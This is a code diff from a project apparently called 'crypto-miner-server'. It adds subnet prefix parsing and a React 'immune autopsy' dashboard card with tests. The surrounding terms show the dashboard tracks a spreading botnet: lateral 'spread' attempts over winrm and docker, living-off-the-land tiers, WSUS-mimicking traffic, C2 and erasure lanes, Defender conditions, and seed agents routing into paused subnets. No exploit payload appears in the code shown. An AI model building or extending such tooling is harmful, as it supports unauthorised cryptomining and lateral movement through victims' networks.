diff --git a/server/internal/atlas/subnet_immune.go b/server/internal/atlas/subnet_immune.go index 878d631..5cd798e 100644 --- a/server/internal/atlas/subnet_immune.go +++ b/server/internal/atlas/subnet_immune.go @@ -1,6 +1,7 @@ package atlas import ( + "strings" "time" "crypto-miner-server/internal/db" @@ -22,7 +23,18 @@ func NewSubnetImmune(database *db.Database) *SubnetImmune { // PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key. func PrefixFromHostOrIP(hostOrSubnet string) string { - return SubnetPrefix(hostOrSubnet) + s := strings.TrimSpace(hostOrSubnet) + s = strings.TrimSuffix(s, ".x") + s = strings.TrimSuffix(s, ".0/24") + s = strings.TrimSuffix(s, "/24") + if prefix := SubnetPrefix(s); prefix != "" { + return prefix + } + parts := strings.Split(s, ".") + if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" { + return strings.Join(parts[:3], ".") + } + return "" } // RecordSpreadFailure increments subnet failure count; returns true when pause activates. diff --git a/server/internal/atlas/subnet_immune_test.go b/server/internal/atlas/subnet_immune_test.go index 8c11162..0bd45d8 100644 --- a/server/internal/atlas/subnet_immune_test.go +++ b/server/internal/atlas/subnet_immune_test.go @@ -42,4 +42,10 @@ func TestPrefixFromHostOrIP(t *testing.T) { if got := PrefixFromHostOrIP("172.16.5.9"); got != "172.16.5" { t.Fatalf("prefix=%q", got) } + if got := PrefixFromHostOrIP("10.0.0.x"); got != "10.0.0" { + t.Fatalf("label prefix=%q", got) + } + if got := PrefixFromHostOrIP("10.2.2"); got != "10.2.2" { + t.Fatalf("bare prefix=%q", got) + } } diff --git a/server/web/src/components/Atlas/SubnetAutopsyCard.css b/server/web/src/components/Atlas/SubnetAutopsyCard.css new file mode 100644 index 0000000..2a6aa2e --- /dev/null +++ b/server/web/src/components/Atlas/SubnetAutopsyCard.css @@ -0,0 +1,84 @@ +.subnet-autopsy-card { + --deck-card-accent-bar: #f43f5e; + margin-top: 1rem; + padding: 1rem 1.1rem; + border-left: 3px solid var(--deck-card-accent-bar, #f43f5e); +} + +.subnet-autopsy-card--compact { + font-size: 0.85rem; +} + +.subnet-autopsy-card--loading { + opacity: 0.7; + font-family: var(--font-mono, monospace); + font-size: 0.8rem; +} + +.subnet-autopsy-header h3 { + margin: 0.2rem 0 0.5rem; + font-size: 1rem; +} + +.subnet-autopsy-eyebrow { + font-size: 0.65rem; + letter-spacing: 0.12em; + color: #f43f5e; + font-family: var(--font-tech, monospace); +} + +.subnet-autopsy-cause { + white-space: pre-wrap; + font-size: 0.82rem; + line-height: 1.45; + margin: 0 0 0.75rem; + color: #e8edf5; +} + +.subnet-autopsy-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); + gap: 0.5rem 1rem; + margin-bottom: 0.75rem; +} + +.subnet-autopsy-label { + display: block; + font-size: 0.62rem; + text-transform: uppercase; + letter-spacing: 0.08em; + color: #8899aa; + margin-bottom: 0.15rem; +} + +.subnet-autopsy-value { + font-family: var(--font-mono, monospace); + font-size: 0.78rem; +} + +.subnet-autopsy-attempts ul, +.subnet-autopsy-gossip ul { + margin: 0.25rem 0 0; + padding-left: 1.1rem; + font-family: var(--font-mono, monospace); + font-size: 0.75rem; +} + +.subnet-autopsy-attempts li.fail { + color: #ff8a7a; +} + +.subnet-autopsy-attempts li.ok { + color: #7dffb2; +} + +.subnet-autopsy-vaccination { + margin-top: 0.65rem; + padding-top: 0.65rem; + border-top: 1px solid rgba(255, 255, 255, 0.08); +} + +.subnet-autopsy-vaccination p { + margin: 0.2rem 0 0; + font-size: 0.8rem; +} diff --git a/server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx b/server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx new file mode 100644 index 0000000..03a31ae --- /dev/null +++ b/server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx @@ -0,0 +1,61 @@ +import { render, screen, waitFor } from '@testing-library/react'; +import { describe, expect, it, vi, beforeEach } from 'vitest'; +import * as api from '../../api/client'; +import SubnetAutopsyCard from './SubnetAutopsyCard'; + +describe('SubnetAutopsyCard', () => { + beforeEach(() => { + vi.restoreAllMocks(); + }); + + it('renders cause-of-death and vaccination lane for paused subnet', async () => { + vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({ + prefix: '10.0.0', + triggered_at: '2026-06-07T12:00:00Z', + fail_count: 5, + lotl_attempts: [{ tier: 'winrm', ok: false, error: 'denied' }], + wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' }, + persona: 'silent', + erasure_fallback: { erasure_lanes_enabled: true, available_as_fallback: true }, + gossip_whispers: [{ tier: 'docker', condition: 'defender_on', reason: 'lan gossip' }], + cause_of_death: 'Subnet 10.0.0 immune pause: 5 spread failures triggered 24h quarantine.', + vaccination_lane: { + target_subnet: '10.0.0', + seed_agent_id: 'seed-1', + seed_agent_name: 'Seed Hop', + egress_agent_id: 'seed-1', + join_lane: 'do_peer', + score: 0.82, + }, + }); + + render(); + + await waitFor(() => { + expect(screen.getByText(/immune pause/i)).toBeInTheDocument(); + }); + expect(screen.getByText(/Seed Hop/)).toBeInTheDocument(); + expect(screen.getByText(/winrm/)).toBeInTheDocument(); + expect(screen.getByText(/docker @ defender_on/)).toBeInTheDocument(); + }); + + it('renders nothing when subnet is not paused', async () => { + vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({ + prefix: '10.0.0', + triggered_at: '2026-06-07T12:00:00Z', + fail_count: 2, + lotl_attempts: [], + wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' }, + persona: 'balanced', + erasure_fallback: { erasure_lanes_enabled: false, available_as_fallback: false }, + gossip_whispers: [], + cause_of_death: '', + }); + + const { container } = render(); + await waitFor(() => { + expect(api.api.getSubnetAutopsy).toHaveBeenCalled(); + }); + expect(container).toBeEmptyDOMElement(); + }); +}); diff --git a/server/web/src/components/Atlas/SubnetAutopsyCard.tsx b/server/web/src/components/Atlas/SubnetAutopsyCard.tsx new file mode 100644 index 0000000..5f5504b --- /dev/null +++ b/server/web/src/components/Atlas/SubnetAutopsyCard.tsx @@ -0,0 +1,136 @@ +import { useEffect, useState } from 'react'; +import { api } from '../../api/client'; +import type { SubnetAutopsyPacket } from '../../types'; +import { HelpTip } from '../HelpTip'; +import './SubnetAutopsyCard.css'; + +interface Props { + subnet: string; + compact?: boolean; +} + +export default function SubnetAutopsyCard({ subnet, compact = false }: Props) { + const [packet, setPacket] = useState(null); + const [error, setError] = useState(''); + const [loading, setLoading] = useState(false); + + useEffect(() => { + const prefix = subnet.trim(); + if (!prefix) { + setPacket(null); + return; + } + let cancelled = false; + setLoading(true); + setError(''); + api.getSubnetAutopsy(prefix) + .then((pkt) => { + if (!cancelled) setPacket(pkt); + }) + .catch((e: unknown) => { + if (!cancelled) { + setError(e instanceof Error ? e.message : 'Autopsy unavailable'); + setPacket(null); + } + }) + .finally(() => { + if (!cancelled) setLoading(false); + }); + return () => { cancelled = true; }; + }, [subnet]); + + if (!subnet.trim()) return null; + if (loading && !packet) { + return
Loading immune autopsy…
; + } + if (error && !packet) { + return null; + } + if (!packet || packet.fail_count < 5) { + return null; + } + + const lane = packet.vaccination_lane; + + return ( +
+
+ IMMUNE RESPONSE +

+ /24 Autopsy — {packet.prefix}.x + +

+
+ +

{packet.cause_of_death}

+ +
+
+ Persona + {packet.persona} +
+
+ WSUS mimic + + {packet.wsus_mimic.format_mimic_enabled ? 'cab.partial on' : 'off'} + {packet.wsus_mimic.recent_join_lane ? ` · ${packet.wsus_mimic.recent_join_lane}` : ''} + +
+
+ Erasure fallback + + {packet.erasure_fallback.available_as_fallback ? 'RS lanes ready' : 'C2 primary'} + +
+
+ Failures + {packet.fail_count} → 24h pause +
+
+ + {packet.lotl_attempts.length > 0 && ( +
+ Last LOTL attempts +
    + {packet.lotl_attempts.map((a, i) => ( +
  • + {a.tier} + {a.agent_name ? ` (${a.agent_name})` : ''} + {a.ok ? ' ✓' : ` ✗ ${a.error ?? ''}`} +
  • + ))} +
+
+ )} + + {packet.gossip_whispers.length > 0 && ( +
+ Atlas gossip whispers +
    + {packet.gossip_whispers.map((h, i) => ( +
  • + {h.tier} @ {h.condition} + {h.reason ? ` — ${h.reason}` : ''} +
  • + ))} +
+
+ )} + + {lane && ( +
+ Vaccination lane +

+ Route via {lane.seed_agent_name ?? lane.seed_agent_id.slice(0, 8)} + {lane.join_lane ? ` · ${lane.join_lane}` : ''} + {lane.erasure_lanes_enabled ? ' · RS lanes' : ''} + {lane.score ? ` · score ${lane.score.toFixed(2)}` : ''} +

+
+ )} +
+ ); +} diff --git a/server/web/src/help/subnetAutopsy.test.ts b/server/web/src/help/subnetAutopsy.test.ts new file mode 100644 index 0000000..9380c07 --- /dev/null +++ b/server/web/src/help/subnetAutopsy.test.ts @@ -0,0 +1,27 @@ +import { describe, expect, it } from 'vitest'; +import { parseSeerSubnetAutopsy, subnetAutopsyPrefix } from './subnetAutopsy'; + +describe('subnetAutopsy helpers', () => { + it('parses seer subnet immune autopsy events', () => { + const ev = parseSeerSubnetAutopsy({ + type: 'subnet_immune_autopsy', + prefix: '10.0.0', + cause: 'Subnet 10.0.0 immune pause', + packet: { prefix: '10.0.0', fail_count: 5, cause_of_death: 'paused' }, + }); + expect(ev?.prefix).toBe('10.0.0'); + expect(ev?.cause).toContain('immune pause'); + expect(ev?.packet?.fail_count).toBe(5); + }); + + it('rejects non-autopsy seer payloads', () => { + expect(parseSeerSubnetAutopsy({ type: 'court_debate' })).toBeNull(); + expect(parseSeerSubnetAutopsy(null)).toBeNull(); + }); + + it('normalizes subnet labels to /24 prefix', () => { + expect(subnetAutopsyPrefix('10.0.0.x')).toBe('10.0.0'); + expect(subnetAutopsyPrefix('10.0.0/24')).toBe('10.0.0'); + expect(subnetAutopsyPrefix('192.168.5.12')).toBe('192.168.5'); + }); +}); diff --git a/server/web/src/help/subnetAutopsy.ts b/server/web/src/help/subnetAutopsy.ts new file mode 100644 index 0000000..d67211c --- /dev/null +++ b/server/web/src/help/subnetAutopsy.ts @@ -0,0 +1,34 @@ +import type { SubnetAutopsyPacket } from '../types'; + +export interface SeerSubnetAutopsyEvent { + type: 'subnet_immune_autopsy'; + prefix: string; + triggered?: string; + cause?: string; + packet?: SubnetAutopsyPacket; +} + +export function parseSeerSubnetAutopsy(payload: unknown): SeerSubnetAutopsyEvent | null { + if (!payload || typeof payload !== 'object') return null; + const raw = payload as Record; + if (raw.type !== 'subnet_immune_autopsy') return null; + const prefix = typeof raw.prefix === 'string' ? raw.prefix.trim() : ''; + if (!prefix) return null; + return { + type: 'subnet_immune_autopsy', + prefix, + triggered: typeof raw.triggered === 'string' ? raw.triggered : undefined, + cause: typeof raw.cause === 'string' ? raw.cause : undefined, + packet: raw.packet as SubnetAutopsyPacket | undefined, + }; +} + +/** Normalize subnet labels to /24 prefix keys used by the API. */ +export function subnetAutopsyPrefix(label: string): string { + const s = label.trim().replace(/\.x$/i, '').replace(/\/24$/, ''); + const parts = s.split('.'); + if (parts.length >= 3) { + return `${parts[0]}.${parts[1]}.${parts[2]}`; + } + return s; +}